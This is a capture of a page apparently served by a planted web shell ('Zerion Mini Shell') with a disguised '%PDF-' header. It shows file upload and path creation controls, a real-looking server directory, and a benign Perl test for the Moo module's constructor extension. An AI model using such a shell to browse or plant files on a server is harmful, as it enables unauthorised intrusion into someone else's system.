%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Moo-2.003004/t/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Moo-2.003004/t/extend-constructor.t

use Moo::_strictures;
use Test::More;
use Test::Fatal;

BEGIN {
  package Role::For::Constructor;
  use Moo::Role;
  has extra_param => (is => 'ro');
}
BEGIN {
  package Some::Class;
  use Moo;
  BEGIN {
    my $con = Moo->_constructor_maker_for(__PACKAGE__);
    Moo::Role->apply_roles_to_object($con, 'Role::For::Constructor');
  }
}

{
  package Some::SubClass;
  use Moo;
  extends 'Some::Class';

  ::is(::exception {
    has bar => (is => 'ro');
  }, undef, 'extending constructor generator works');
}

done_testing;

Zerion Mini Shell 1.0